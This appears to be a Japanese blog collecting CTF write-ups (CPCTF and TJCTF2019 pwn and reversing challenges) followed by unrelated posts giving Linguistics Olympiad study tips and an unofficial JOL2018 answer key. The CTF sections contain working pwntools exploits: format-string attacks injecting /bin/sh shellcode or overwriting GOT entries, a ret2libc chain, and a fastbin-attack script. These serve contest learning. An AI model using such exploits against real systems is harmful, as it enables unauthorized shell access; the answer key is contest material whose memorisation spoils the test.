CPCTF参加記 + dangerous_format(Pwn, 100, 300, 400, 500) write-up + overrun(Pwn, 200, 300, 400, 500) write-up

traP開催のCPCTF(https://cpctf.space/)という競プロとCTFの複合イベントに生活習慣崩壊ズで出た。keymoonは今回1人で出ていて,7540点も取っていて強かった。

もう片方のPwnをやる時間を作れなかったのが個人としての反省点。

dangerous_format

100点解法

stringsするとflagが出てくる。

$ strings format| grep FLAG
FLAG_100{str!ngs_is_useful}

FLAG(100点): FLAG_100{str!ngs_is_useful}

満点解法

アセンブルを見てみる。main() は関数Hello()を呼び出す以外に特に重要なことはしていないので省略。Hello()を適当にCのソースに起こすとこんな感じになるっぽい。

#include <stdio.h>
#include <stdlib.h>

void Hello(void) {
    char *local_174h, local_16ch[52], local_138h[300];
    FILE *local_170h;
    
    local_174h = local_138h;
    local_170h = fopen("r", "flag300.txt");
    if (local_170h == NULL) {
        puts("internal server error(flag file(300) missing). please concact contest's admin.");
        exit(-1);
    }
    
    fgets(local_16ch, 52, local_170h);
    fclose(local_170h);
    puts("please input your name...");
    fgets(local_138h, 300, stdin);
    printf("Hello ");
    printf(local_138h);
    puts("do you know what do I like?");
    fgets(local_138h, 300, stdin);
    printf(local_174h);
    puts("I don't like it.");
}

printf(local_138h);printf(local_174h);で書式文字列攻撃ができる。今回はstatically linkedになっていてGOT Overwriteが使えないのでshellcodeを起動させる方針で行く。

$ ./format
please input your name...
AAAA%20$x
Hello AAAA41414141
do you know what do I like?
AAAA%20$x
AAAA41414141
I don't like it.

%20$x[ebp - 0x138]にアクセスできる。ここから計算すると,Saved EBP%98$x, またHello()の戻り先が入っているアドレスは%99$xで読み書きできるとわかる。

Saved EBPからHello()関数内でのEBPの値が分かる。

$ ./format
please input your name...
%98$x,%99$x
Hello ff813038,8048b3f
do you know what do I like?
^C

情報が集まったので攻撃手順を組み立てると

  1. %98$xを入力してSaved EBPをリーク,そこから現在のEBPの値を計算
  2. シェルコードを[ebp - 0x138]に置き,Hello()の戻り先アドレスを[ebp - 0x138]に書き換える

というようになった。実際に書いたexploitが以下になる。

#!/usr/bin/env python

from pwn import *
    
if __name__ == '__main__':
    path_bin = './format'
    context.binary = path_bin
    
    p = remote('dangerous_format.problem.cpctf.space', 3064)
    
    exploit = b'%98$x'
    
    p.recvuntil(b'please input your name...\n')
    p.sendline(exploit)
    p.recvuntil(b'Hello ')
    
    stack_base = int(p.recvline(), 16) - 0x10
    stack_return = stack_base + 0x4
    
    shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80a'
    writes = {stack_return: stack_base - 0x138}
    exploit = shellcode + fmtstr_payload(26, writes, numbwritten=24)
    
    p.recvuntil(b'do you know what do I like?\n')
    p.sendline(exploit)
    p.interactive()

シェルコードはshell-stormのこれを借りてきた。

実行するとリモートでシェルが立ち上がる。

FLAG(300点): FLAG_300{pyIn+f_wIth_InPut_s+R_1sd4n63roUS}
FLAG(400点): FLAG_400{oV3rWr!+e_RETURN_@dDreSS}
FLAG(500点): FLAG_500{Ex3cU+e_sh3||C0dE_0n0n_s+4CK}

追記 overrun

本番中には残念ながら見る時間がなかったが,終わった後にoverrunを解いたのでメモ。(雑です 許して)

  1. アセンブルするとgetsが見える。
  2. libcがわざわざ配られてるってことはret2libcができるんだろうなあ
  3. puts(addr_of_puts_got)putsのアドレスをリークしそこからlibcのベースアドレスを計算。system("/bin/sh")して終わり
#!/usr/bin/env python

from pwn import *
    
if __name__ == '__main__':
    path_bin = './overrun'
    context.terminal = (['gnome-terminal', '-e'])
    context.binary = path_bin
    
    p = remote('overrun.problem.cpctf.space', 3331)
    
    addr_Hello      = 0x08048958
    addr_puts_plt   = 0x08048580
    addr_puts_got   = 0x08049ff0
    addr_pop_ebx    = 0x080484a5
    offset_puts     = 0x069a10
    offset_system   = 0x03e900
    offset_bin_sh   = 0x17faaa
    offset_exit     = 0x0318f0
    
    exploit     = b'a' * 112
    exploit    += p32(addr_puts_plt)
    exploit    += p32(addr_pop_ebx)
    exploit    += p32(addr_puts_got)
    exploit    += p32(addr_Hello)
    
    p.recvuntil(b'please input your name...\n')
    p.sendline(exploit)
    p.recvuntil(b'!\n')
    
    addr_libc_base  = u32(p.recv(4)) - offset_puts
    addr_system_plt = addr_libc_base + offset_system
    addr_bin_sh_plt = addr_libc_base + offset_bin_sh
    addr_exit_plt   = addr_libc_base + offset_exit
    
    print("addr of libc: " + hex(addr_libc_base))
    
    exploit     = b'a' * 112
    exploit    += p32(addr_system_plt)
    exploit    += p32(addr_pop_ebx)
    exploit    += p32(addr_bin_sh_plt)
    exploit    += p32(addr_exit_plt)
    exploit    += p32(addr_pop_ebx)
    exploit    += p32(0)
    
    p.recvuntil(b'please input your name...\n')
    p.sendline(exploit)
    p.recvuntil(b'!\n')
    p.interactive()
    p.close()

FLAG(500点,他は割愛): FLAG_500{1bin|sh_i5_uS3fUL1_s+Rin6}

TJCTF2019 write-up

TJCTF2019に生活習慣崩壊ズで参加した。結果は8位/608位(賞品授与対象であるアメリカの高校生換算だと8位/483位)だった。僕はいつもどおりpwn/rev担当に回ったがあまり問題が解けず足を引っ張る感じになってしまった。そろそろpwn challenges listを埋めるとかちゃんとした精進をしていきたい。

以下write-up

Checker(Reversing, 30pt)

import java.util.*;
public class Checker{
    public static String wow(String b, int s){
        String r = "";
        for(int x=s; x<b.length()+s; x++){
            r+=b.charAt(x%b.length());
        }
        return r;
    }
    public static String woah(String b){
        String r = "";
        for(int x=0; x<b.length(); x++){
            if(b.charAt(x)=='0')
                r+='1';
            else
                r+='0';
        }
        return r;
    }
    public static String encode(String plain){
        String b = "";
        Stack<Integer> t = new Stack<Integer>();
        for(int x=0; x<plain.length(); x++){
            int i = (int)plain.charAt(x);
            t.push(i);
        }
        for(int x=0; x<plain.length(); x++){
            b+=Integer.toBinaryString(t.pop());
        }
        b = woah(b);
        b = wow(b,9);
        System.out.println(b);
        return b;
    }
    public static boolean check(String flag, String encoded){
        if(encode(flag).equals(encoded))
            return true;
        return false;
    }
    public static void main(String[] args){
        String flag = "redacted";
        String encoded = "1100001110000111000011000010100001110000111000010100001110000010000110010001011001110000101010001011000001000";
        System.out.println(check(flag,encoded));
    }
}

このようなソースファイルが与えられる。読んでみると

  • 入力を逆から1文字ずつ2進数表現にしてつなげていく
  • 2進数表現の0と1を逆にする
  • 先頭9文字を後ろに持っていく

という処理をしていることがわかる。flag を取り出すにはencodedに対して上と逆順に操作をしてやればいいが,文字列のどこが数と数の切れ目になっているのかがわからない。flagに含まれているのはおそらく数字とラテン文字のみだろうと推測しても,数字の文字コードは2進数で6桁,ラテン文字は7桁なので均等に切ることができない。

結局のところencodedの長さが109なので,7 * 13 + 6 * 3 = 109より文字長6が3つ存在することがわかり,これを利用して文字長6がどこに存在するか全探索するコードを書いた。

#!/usr/bin/env python3
import itertools

encoded = '1100001110000111000011000010100001110000111000010100001110000010000110010001011001110000101010001011000001000'
r1 = ''
r2 = ''
s = 9

print(len(encoded))

for i in range(len(encoded) - s, len(encoded) * 2 - s):
    r1 += encoded[i % len(encoded)]

print(r1)

for i in range(len(r1)):
    if r1[i] == '0':
        r2 += '1'
    else: 
        r2 += '0'

print(r2)

comb = list(itertools.combinations(range(1, 10), 3))

for six in comb:
    flag = ''
    now = 0
    cnt = 0
    while now < len(r2):
        if cnt in six:
            flag = chr(int(r2[now:now+6], 2)) + flag
            now += 6
        else:
            flag = chr(int(r2[now:now+7], 2)) + flag
            now += 7
        cnt += 1
        
    print(flag)

実行するとflagらしき文字列が大量に出てくるが,一番それっぽい tjctf{qu1cks1ce} を投げると無事通る。

Flag: tjctf{qu1cks1ce}

Broken parrot(Reversing, 40pt)

実行ファイルが与えられる。stringsを掛けると tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3} という文字列がみえるが,これはダミーのフラグである。逆アセンブルして処理を読むとこのダミーのflagになんやかんやをすると正しいflagが出てくることがわかるので,アセンブリに基づいてflagを導出する。以上。

#!/usr/bin/env python3

cipher = 'tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}'
flag = 'tjctf{'

for i in range(3):
    flag += cipher[14 + i]

flag += 'd'

for i in range(23):
    flag += cipher[27 + i]

print(flag)
Flag: tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}

Printf Polyglot(Binary, 120pt)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>

void view_team();
void check_date();
void newsletter();
void report_bug();

bool date_enabled = false;

int main() {
   gid_t gid = getegid();
   setresgid(gid, gid, gid);
   setbuf(stdout, NULL);
   
   printf("Welcome to the brand new Security Consultants Inc. portal!\n");
   char action = 0;
   char line[128];
   while (action != 'x') {
      printf("What would you like to do?\n");
      printf("1.) View the Team!\n");
      printf("2.) Check the date.\n");
      printf("3.) Sign up for our newsletter!\n");
      printf("4.) Report a bug.\n");
      printf("x.) Exit.\n");
      fgets(line, sizeof line, stdin);
      action = line[0];
      if (action == '1') {
         view_team();
      } else if (action == '2') {
         check_date();
      } else if (action == '3') {
         newsletter();
      } else if (action == '4') {
         report_bug();
      } else if (action != 'x') {
         printf("Sorry, I didn't recognize that.\n");
      }
      printf("\n");
   }
}

void view_team() {
   printf("Here's the team:\n");
   printf("Neil\n");
   printf("Daniel\n");
   printf("Evan (AFK)\n");
   printf("Omkar (AFK)\n\n");
   
   printf("Who's your favorite? ");
   
   char favorite[128];
   fgets(favorite, sizeof favorite, stdin);
   if (strcmp(favorite, "Neil\n") == 0) {
      printf("Hey, thanks!\n");
   } else {
      printf("Shame. Can't say I'm a fan of %s", favorite);
   }
}

// apparently calling system() isn't safe? I disabled it so we
// should be fine now.
void check_date() {
   printf("Here's the current date:\n");
   if (date_enabled) {
      system("/bin/date");
   } else {
      printf("Sorry, date has been temporarily disabled by admin!\n");
   }
}

void newsletter() {
   printf("Thanks for signing up for our newsletter!\n");
   printf("Please enter your email address below:\n");
   
   char email[256];
   fgets(email, sizeof email, stdin);
   printf("I have your email as:\n");
   printf(email);
   printf("Is this correct? [Y/n] ");
   char confirm[128];
   fgets(confirm, sizeof confirm, stdin);
   if (confirm[0] == 'Y' || confirm[0] == 'y' || confirm[0] == '\n') {
      printf("Great! I have your information down as:\n");
      printf("Name: Evan Shi\n");
      printf("Email: ");
      printf(email);
   } else {
      printf("Oops! Please enter it again for us.\n");
   }
   
   int segfault = *(int*)0;
   // TODO: finish this method, for now just segfault,
   // we don't want anybody to abuse this
}

void report_bug() {
   printf("Thank you for reporting this critical bug.\n");
   printf("Unfortunately, our dedicated Bug-Squasher, Evan Shi, is on indefinite hiatus.\n");
   printf("Hopefully, he'll be able to squash this bug soon.\n");
}

かなりあからさまな脆弱性がいくつか仕込まれた実行ファイルとそのソースが渡される。実行ファイルのセキュリティ機構を確認してみる。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   printf_polyglot

Partial RELROになっているのでGOT Overwriteが使えそう。stack canaryがあるのでスタックオーバーフローは無理そう。

newsletter() の printf(email); で書式文字列攻撃ができそう。strcmp のGOTを system のpltアドレスに書き換えてやれば check_date() の fgets で受け取った内容をそのまま system に渡せそう。

ただし newsletter() で printf(email); した後 int segfault = (int)0; でsegfault が 起こってしまうので,これを避けるために printf(email); のあとすぐ check_date() の fgets() の部分(55行目あたり,0x4009fa)に飛ぶように printf のGOTを0x4009faに書き換える。

つまり printf のGOTを0x4009faに,strcmp のGOTを system のpltアドレスに書き換えたあと,fgets に "/bin/sh" を入力してやればシェルを立ち上げることができそうである。

あとは書式文字列を組み上げるだけ,ということでpwntoolsのfmtstr_payloadを使おうとした。

length of payload: 276
payload: b'H `\x00\x00\x00\x00\x00I `\x00\x00\x00\x00\x00J `\x00\x00\x00\x00\x00K `\x00\x00\x00\x00\x00L `\x00\x00\x00\x00\x00M `\x00\x00\x00\x00\x00N `\x00\x00\x00\x00\x00O `\x00\x00\x00\x00\x00X `\x00\x00\x00\x00\x00Y `\x00\x00\x00\x00\x00Z `\x00\x00\x00\x00\x00[ `\x00\x00\x00\x00\x00\\ `\x00\x00\x00\x00\x00] `\x00\x00\x00\x00\x00^ `\x00\x00\x00\x00\x00_ `\x00\x00\x00\x00\x00%122c%24$hhn%15c%25$hhn%55c%26$hhn%192c%27$hhn%28$hhn%29$hhn%30$hhn%31$hhn%224c%32$hhn%38c%33$hhn%58c%34$hhn%192c%35$hhn%36$hhn%37$hhn%38$hhn%39$hhn'

だが,64bit環境なのでアドレスが0x00を含んでしまい,printf がそこで止まってしまうのと,fmtstr_payload で生成された文字列は276文字で,emailに入力できる限界(256文字)を超えてしまうのとで fmtstr_payload を使うことはできない。

そこで,アドレスを文字列の最後に回し,また長くなりすぎないように %hhn ではなく %hn を使って2バイト単位の書き込みを行う関数を自前で書いた。

#!/usr/bin/env python

from pwn import *

def fmtstr_payload_null(offset, writes, numbwritten=0):
    p1 = ''
    p2 = b''
    
    c = 0
    s = 0
    
    for data in writes.values():
        b = p32(data)
        for i in range(0, 8, 2):
            x = int.from_bytes(b[i:i+2], byteorder="little") - s
            if x <= 0:
                x += 0x10000
                
            p1 += "%{:05}c%{:03}$hn".format(x, offset + (14 * 4 * len(writes) + 7) // 8 + c)
            s = (s + x) % 0x10000
            
            c += 1
            
    for address in writes.keys():
        for i in range(4):
            p2 += p64(address + i * 2)
    
    for i in range((14 * 4 * len(writes) + 7) // 8 * 8 - 14 * 4 * len(writes)):
        p1 += 'a'
    
    return p1.encode("utf-8") + p2


if __name__ == "__main__":
    path_bin = "./printf_polyglot"
    context.terminal = (['gnome-terminal', '-e'])
    context.log_level = 100
    context.binary = path_bin

    addr_printf_got = 0x602048
    addr_strcmp_got = 0x602058
    addr_system_plt = 0x4006e0
    addr_func       = 0x4009fa
    
    writes = {addr_printf_got: addr_func,
              addr_strcmp_got: addr_system_plt}

    fmtstr_offset = 24

    payload = fmtstr_payload(fmtstr_offset, writes)
    print('length of payload: ' + str(len(payload)))
    print('payload: ', end='')
    print(payload)
    
    #p = process(bin_path)
    #p = gdb.debug(path_bin)
    p = remote("p1.tjctf.org", 8003)

    p.recvuntil(b"x.) Exit.\n")
    p.sendline(b"3")
    p.recvuntil(b"Please enter your email address below:\n")
    p.sendline(payload)
    p.sendline(b"/bin/sh")
    p.interactive()

実行するとシェルが立ち上がる。

Flag: tjctf{p0lygl0t_m0r3_l1k3_p0lynot}

Death Delivery(Binary, 140pt)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void prepare_death() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void print_flag() {
    FILE* f = fopen("flag.txt", "r");
    char str[256];
    fgets(str, 256, f);
    printf("%s\n", str);
}

int main() {
    prepare_death();
    char comm[256];
    char* names[10];
    char* secret = malloc(32);
    strcpy(secret, "REDACTED\n");
    for (int i = 0; i < 10; i++)
        names[i] = 0;
    while (1) {
        printf("Enter the index of the name in the range [0,9]\n");
        fgets(comm, 200, stdin);
        int ind = atoi(comm);
        if (ind < 0 || ind >= 10)
            continue;
        printf("Enter the length of the next name or -1 to delete that name or 0 to print that name\n");
        fgets(comm, 200, stdin);
        int n = atoi(comm);
        if (n > 0) {
            if (names[ind] != 0) {
                free(names[ind]);
                names[ind] = 0;
            }
            names[ind] = calloc(n, 1);
            fgets(names[ind], n + 2, stdin);
            if (strcmp(names[ind], secret) == 0) {
                print_flag();
                return 0;
            }
        } else if (n == -1) {
            if (names[ind] != 0) {
                free(names[ind]);
                names[ind] = 0;
            }
        } else if (n == 0) {
            printf("%s\n", names[ind]);
        }
    }
    return 0;
}

実行ファイルとソースが渡される。ソースを読むと names[ind] が "REDACTED" であるときにflagが出力されるとわかる。

#!/usr/bin/env python

from pwn import *

if __name__ == '__main__':
    path_bin = './death_delivery'
    context.terminal = (['gnome-terminal', '-e'])
    context.log_level = 'debug'
    context.binary = path_bin
    
    p = remote('p1.tjctf.org', 8011)
    
    p.recvuntil(b'Enter the index of the name in the range [0,9]\n')
    p.sendline(b'0')
    p.recvuntil(b'Enter the length of the next name or -1 to delete that name or 0 to print that name\n')
    p.sendline(b'100')
    p.sendline(b'REDACTED')
    p.recvall()

終わり。140点貰えるわりに簡単すぎて一度は罠を疑ったが,出てきたflagを提出するとちゃんと点が貰えるのでたぶん合ってるんだろう。

Flag: tjctf{1_d4n13l_w15d0m_h4v3_700_h0ur5_0n_MAL}

解けなかった問題たち

Silly Sledshop

#include <stdio.h>
#include <stdlib.h>

void shop_setup() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void shop_list() {
    printf("The following products are available:\n");
    printf("|  Saucer  | $1 |\n");
    printf("| Kicksled | $2 |\n");
    printf("| Airboard | $3 |\n");
    printf("| Toboggan | $4 |\n");
}

void shop_order() {
    int canary = 0;
    char product_name[64];

    printf("Which product would you like?\n");
    gets(product_name);

    if (canary)
        printf("Sorry, we are closed.\n");
    else      
        printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}

int main(int argc, char **argv) {
    shop_setup();
    shop_list();
    shop_order();
    return 0;
}

Partial RELROになってるからGOT Overwriteが使えそう,でも任意アドレスに任意データを書き込める脆弱性がなさそうだな……,gets() を使ってるからスタックオーバーフローでret2libcとかができそう,でもlibcのバージョンがわからないなあ……,shellcodeを実行させるのはどうだろう,でもスタックのアドレスがわからないなあ……と考えていて詰まってしまった。

@ousanko さんのwrite-up

madousho.hatenadiary.jp

や,

@kam1tsur3 さんのwrite-up

kam1tsur3.hatenablog.com

を見てGOTをshellcodeのアドレスで書き換える方法,https://libc.blukat.me でlibcのバージョンを特定する方法を知った。

Invalidator

実行ファイルを逆アセンブルしてみると,入力と "tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}" をstrcmp()していることがわかる。だが,実際に "tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33} "を入力してみても "Invalid flag." としか表示されない。angrを使って解けないかと考え,angrのインストールに無限回失敗していたりしたが,結局はstrcmp()が標準ライブラリのそれではなく,自前実装の文字列処理を行う関数であるというオチだった。本番中にこれに気づけなかったのは普通に悔しい。

House of Horror

fastbin attackで任意のアドレスに書き込むことができる脆弱性を見つけたが,手元ではそれが成功するのにリモートで試してみるとmemory corruptionを起こしてしまう。原因がわからず解くことができなかった。悲しい

#!/usr/bin/env python

from pwn import *

def init(proc):
    for i in range(2):
        proc.recvuntil(b'> ')
        proc.sendline(b'1')
        proc.recvuntil(b'> ')
        proc.sendline(b'1')
        

def point(proc, addr):
    #delete 0, delete 1, delete 0
    proc.recvuntil(b'> ')
    proc.sendline(b'4')
    proc.recvuntil(b'> ')
    proc.sendline(b'0')
    proc.recvuntil(b'> ')
    proc.sendline(b'4')
    proc.recvuntil(b'> ')
    proc.sendline(b'1')
    proc.recvuntil(b'> ')
    proc.sendline(b'4')
    proc.recvuntil(b'> ')
    proc.sendline(b'0')
    
    #edit 0 3 addr - 1
    proc.recvuntil(b'> ')
    proc.sendline(b'3')
    proc.recvuntil(b'> ')
    proc.sendline(b'0')
    proc.recvuntil(b'> ')
    proc.sendline(b'3')
    proc.recvuntil(b'> ')
    proc.sendline(str(addr - 8).encode('utf-8'))
    
    #create 1, create 1, create 1
    for i in range(3):
        proc.recvuntil(b'> ')
        proc.sendline(b'1')
        proc.recvuntil(b'> ')
        proc.sendline(b'1')
    

def read(proc, offset=0):
    #view 4+offset 0
    proc.recvuntil(b'> ')
    proc.sendline(b'2')
    proc.recvuntil(b'> ')
    proc.sendline(str(4 + offset).encode('utf-8'))
    proc.recvuntil(b'> ')
    proc.sendline(b'0')
    return proc.recvline()
    
    
def write(proc, data, offset=0):
    #edit 4+offset 0 data
    proc.recvuntil(b'> ')
    proc.sendline(b'3')
    proc.recvuntil(b'> ')
    proc.sendline(str(4 + offset).encode('utf-8'))
    proc.recvuntil(b'> ')
    proc.sendline(b'0')
    proc.recvuntil(b'> ')
    proc.sendline(str(data))
    return proc.recvline()
    
    
if __name__ == '__main__':
    path_bin = './house_of_horror'
    context.terminal = (['gnome-terminal', '-e'])
    context.log_level = "debug"
    context.binary = path_bin
    
    libc_system_rel = 0x045390
    libc_stderr_rel = 0x3c5700
    libc_str_rel    = 0x18cd57
    
    #p = gdb.debug(path_bin, '''b *0x00400cec''')
    p = remote('p1.tjctf.org', 8001)
    
    init(p)
    point(p, 0x602040)
    libc_base = int(read(p)) - libc_stderr_rel
    print(hex(libc_base))
    
    p.recvall()

間違いの指摘などはTwitter:@zohen0 までよろしくお願いします。

3日で対策! 日本言語学オリンピック

さて,今日(2019/03/21)でJOL(日本言語学オリンピック)2019本番まであと3日。これまで解説記事とかそういうのを全く書いてこなかったお詫びとして本番までのあと3日間で初心者が知っておくべき問題の解き方や基礎的な知識を羅列した駄文を錬成したので「日本言語学オリンピックに申し込んだはいいが練習量が足りなくて不安」って方はぜひご覧あれ。

この記事の読み方・練習の進め方

まずは「基本的な事項」と「頻度解析」の項を読んだあと,「ジャンル紹介」の各分野にある「おすすめ例題」を「やり方」に従って解いていこう。必要に応じて「知識」も参照してね。

おすすめ例題を全て解いてしまったら

を自分が好きそうな問題から順に埋めていこう。

過去問を示すのには「(大会名)(年号)-(問題番号)」の略記を使った。

大会名の一覧

基本的な事項

  • 色ペンをありったけ持っていくと良い : 特定の単語に下線を引くと,その単語がデータ中のどこに出現するのかわかりやすくなるのでおすすめ。下線引きを複数の単語でやると色ペンがたくさん必要になる。
  • 解答に書くべきことは
    • 設問に対する答え
    • 問題文で指示された場合にはその言語の構造の説明も記述する必要がある,具体的に何を書くかと言うと
      • 語順
      • 文法的な役割を持つ語の一覧表
      • ある語が特定の条件で変化する場合はその規則

万能,頻度解析

頻度解析は言語学オリンピックのほとんどの問題に対して有効なテクである。

  • データとその翻訳に出てくる単語を全てリストアップし,それぞれの出現回数を数える
  • データ中のある語と翻訳中のある語の出現回数が近い場合は,その二つの語が対応している可能性が高い。

この方法はかなり広い範囲で使えるので迷ったら試してみよう。

ジャンル紹介

言語学オリンピックで出題される問題にはいくつかのジャンルがある。ここではJOLで出る可能性が高い順で,個々のジャンルをその解き方や知っておくと強い知識,おすすめの例題と一緒に紹介する。

形態素解析

f:id:zohe:20190321185434p:plain
JOL2018-2 べジャ語
未知の言語の短い文章またはフレーズが数個,さらにそれらの翻訳が与えられる。与えられたデータから言語の構造を解明するのが目的。言語学オリンピックでは一番典型的な問題のタイプ。JOL2018-2, JOL2018-3やJOL2017-1, JOL2017-2など。

やり方

  • データに出てくる単語や接辞に下線を引き,どの語がどこに出現するのかわかりやすくする。(同じ語には同じ色で,違うやつには違う色で)
    f:id:zohe:20190321185553p:plain
    IOL2006-1 ラコタ語での例
  • 同じ語が出てくるデータどうしや,ある一部分のみが異なるデータどうしなどを比べ,翻訳の共通点や相違点を探し,語の意味を特定する。
    f:id:zohe:20190321185639p:plain
    lakhota = Indian(s), matho = bear(s) と推定する
  • 上の手順で特定した語の意味をもとに,他の単語の意味も芋づる式に調べ,同時にその言語の文法構造も解明していく。 f:id:zohe:20190321185720p:plain ※ 同じ語でも文のどこに出現するかや前後の単語などによって形が変わることがあるので注意。例えばJOL2018-3では -bowaan- という接辞が後ろに k が続く場合 -bowaaŋ-, d が続く場合 -bowaan- というように形が変わっているが,これはどちらも同じ意味を表す同じ語である。
    f:id:zohe:20190321190031p:plain
    bowaan

おすすめ例題

文字

[

f:id:zohe:20190321190105p:plain
JOL2018-5 モンゴル語チベット語
未知の文字体系で書かれた文章や語がその読み方と共にいくつか与えられ,そのデータを元に未知の文字を解読していく。去年(2018年)のJOLでは5問中2問が文字に関する問題だった。

やり方

  • まずはその文字体系がどの方向に向かって書かれるか(ラテン文字だったら左から右,アラビア文字だったら右から左など)を特定する。縦書きの場合は上から下に文章が進んで行くのか,それとも逆なのかを特定する。世界には下から上に向かって書き進めていく文字体系も少数ながら存在するので注意。JOL2018-4の突厥文字は横書きで右から左,同じく5のモンゴル文字は縦書きで上から下,チベット文字は横書きで左から右。
  • 同じ文字が繰り返し出てくるところに注目する。

知識

世界の文字体系はその特徴からいくつかの種類に分けられる。 - アルファベット : 基本的に文字と音が一対一で対応するタイプ。ラテン文字とかキリル文字とかギリシャ文字とか。名前は「アルファベット」ってなってるけどラテン文字だけを指すわけではない。 - アブジャド : 母音を省略して子音だけを表記するタイプ。淫夢でよくあるTDN表記みたいなやつ。アラビア文字ヘブライ文字が有名。突厥文字は部分的に母音を省略するのでこれとアルファベットのハイブリッド。 - アブギダ : 子音を表す文字の周りに母音を表す補助記号をくっつけるタイプ。JOL2018-5のチベット文字がこのタイプ。 - 音節文字 : 基本的に一文字が一音節を表すタイプ。ひらがな・カタカナはこれ(厳密に言うと少し違うけど)。他にはチェロキー文字とかもこのタイプ。

同じ文字であっても語中のどこに現れるかで文字の形が変わることがある。 例えばJOL-2018-5で出題されたモンゴル文字は1つの文字に語頭の形・語中の形・語末の形の3つがある。赤い枠で囲った部分は同じ文字だが,1つは語頭,もう2つは語中に存在するので形が少し変わっている。 f:id:zohe:20190321190232p:plain

おすすめ例題

語対応

f:id:zohe:20190321190313p:plain
IOL2017-2 アブイ語
ある言語の単語とその翻訳が与えられる。形態素解析と違うのは,完結した文章じゃなくて単語の集まりが与えられるところ。日本語や英語と問題の言語では,意味が同じでもその概念をどう言語化しているかが全く違うことが多い。

例えば

  • パプアニューギニアで話されるアブイ語では「枝」という意味の語を「木の手」,「引き金」を「銃の耳」と言う。(ある物体の一部分を指し示すために,生き物の体の部位を表す語を使っている)
  • 同じくパプアニューギニアで話されるイアトムル語では「車」を「陸のカヌー」,「牛」を「白人の豚」,「ライフル銃」を「白人の槍」と言う。(近代になって西洋から持ち込まれたものを表すために,元からあった似た概念を表す語に「陸の」や「白人の」といった修飾語を付けて使っている)
  • 中央アフリカで話される北西バヤ語では「幸福」を「良い肝」,「死ぬ」を「足を穴の端に置く」と言う。

最後の北西バヤ語なんかはもうほとんど連想ゲームみたいになってるけど,もちろんこのジャンルにも解くために有効な技は存在する。

このfulfomさんのツイートに書いてある方法でやると結構いける。

おすすめ例題

  • UKLO2018R2-3 メニャ語 (問題文,解答)
  • UKLO2014R2-1 マシャカリ語 (問題文,解答) (かなり難しいので1時間かけて解けなさそうだったら解答を見たほうが良い)

音韻・韻律

f:id:zohe:20190321190358p:plain
IOL2018-1 クリーク語
未知の言語の音韻や韻律に関する規則(アクセントがどこに置かれるか,音の配置にはどのような制約があるか)などを調べる問題。

やり方

  • 単語を音節ごとに区切って見る
  • 区切った音節が開音節(母音で終わる音節)なのか閉音節(子音で終わる音節)なのかなどを調べていく

数詞

f:id:zohe:20190321190450p:plain
IOL2017-1 ビロム語
未知の言語で書かれた数式が与えられ,それを元にその言語の数詞のしくみを解明する問題。数論の知識でゴリ押したりが結構できるので競プロerとか数オリerとかパズル勢には結構面白いんじゃないだろうか。

やり方

  • 基数を特定する。
  • 方程式を大量に立ててゴリ押す。
  • 数学を使う。

この分野に関しては解き方のアプローチが結構あるので,自分に合っている方法を臨機応変に使おう。

知識

  • 世界には10進法を以外で数を数える言語が多数存在するので,基数をどうにかして特定することが大事になってくる。
  • 基数になることが多い数は,10, 20, 6, 4, 15, 8, 12あたり。これら以外の基数を使っている言語や,複数の基数を混ぜて使っている言語も存在するが,大きな素数(37とか)を基数として使うのは自然言語では考えにくい。
  • 56を「60に向かって5」,47を「50に向かって7」というように表現する言語もある。(IOL2005-3のマンシ語など)
  • 小さい数やその言語が採用している進法でキリの良い数(10進法であれば10, 100など,20進法であれば400, 8000など)は短い単語で,大きい数やキリの悪い数は長い単語で表される傾向がある。
  • 体の部位を表す単語を数を数えるのに転用していることがある。(5を「手」,6を「手 + 1」というように表す)

おすすめ例題

家系図

f:id:zohe:20190321190611p:plain
IOL2018-5 アカン語
未知の言語で書かれた家系図が与えられ,空欄になっているところを埋めたり,その言語で家族関係をどう表すかを解明したりする。

やり方

ryoanjing.hatenablog.com この記事がわかりやすいので読もう。(丸投げ)

おすすめ例題

パズル

f:id:zohe:20190321190656p:plain
UKLO2014R2-5 Hungarians in a field
未知の言語を使ったパズル。それ以上でもそれ以下でもない。JOLだと出ない気がする。今年出たらごめん。

やり方

地頭を使いましょう。

最後に

ロクに推敲してないので汚い文章で申し訳なし。誤字の報告やこの記事でわからないことなどがあったらTwitter:@zohen0までお願いします。あともっと詳しく解説して欲しい部分があったらリプなどで是非教えてください。

JOL本番まで残り少し,がんばっていきましょう!

JOL2018予選 非公式解答解説

今年の日本言語学オリンピックまであと一ヶ月を切りましたね〜〜.なんか今年は今までになく参加者に熱が入ってるし受験者数の増加も見込めそうだし,いよいよ言オリもメジャーになってきた感じで感激ですね.

さて,この間ようやく過去3年分のJOLの問題が公開されました.

iolingjapan.org

が,どの年もまだ解答と解説が公開されていないので2017年の問題は公式解答が公開されました.上のサイトにリンクが貼ってあります.とりあえず2018年の非公式解答を作ってみました.

問題3は記述式なので解答を作成するのがめんどくさいし,既にfulfomさんによる解答解説が存在するので割愛しました.また問題4は僕が満点を取れなかった問題で正直手に余るのでこれも省略します.これもfulfomさんが解答を用意してくれました.やったね. 気力があったら部分的に解答解説をそのうち作るかも.

去年3月の試験本番では一応どの問題も最高点(問4だけ12点,それ以外は満点)を取っているのでそれなりに信頼性はあると思います.


問題1

チェコ語

  1. l
  2. d
  3. e
  4. b
  5. a

ポーランド

  1. m
  2. c
  3. f
  4. i
  5. h

おまけ スウェーデン

数字は行番号です.

  1. o
  2. n
  3. g
  4. j
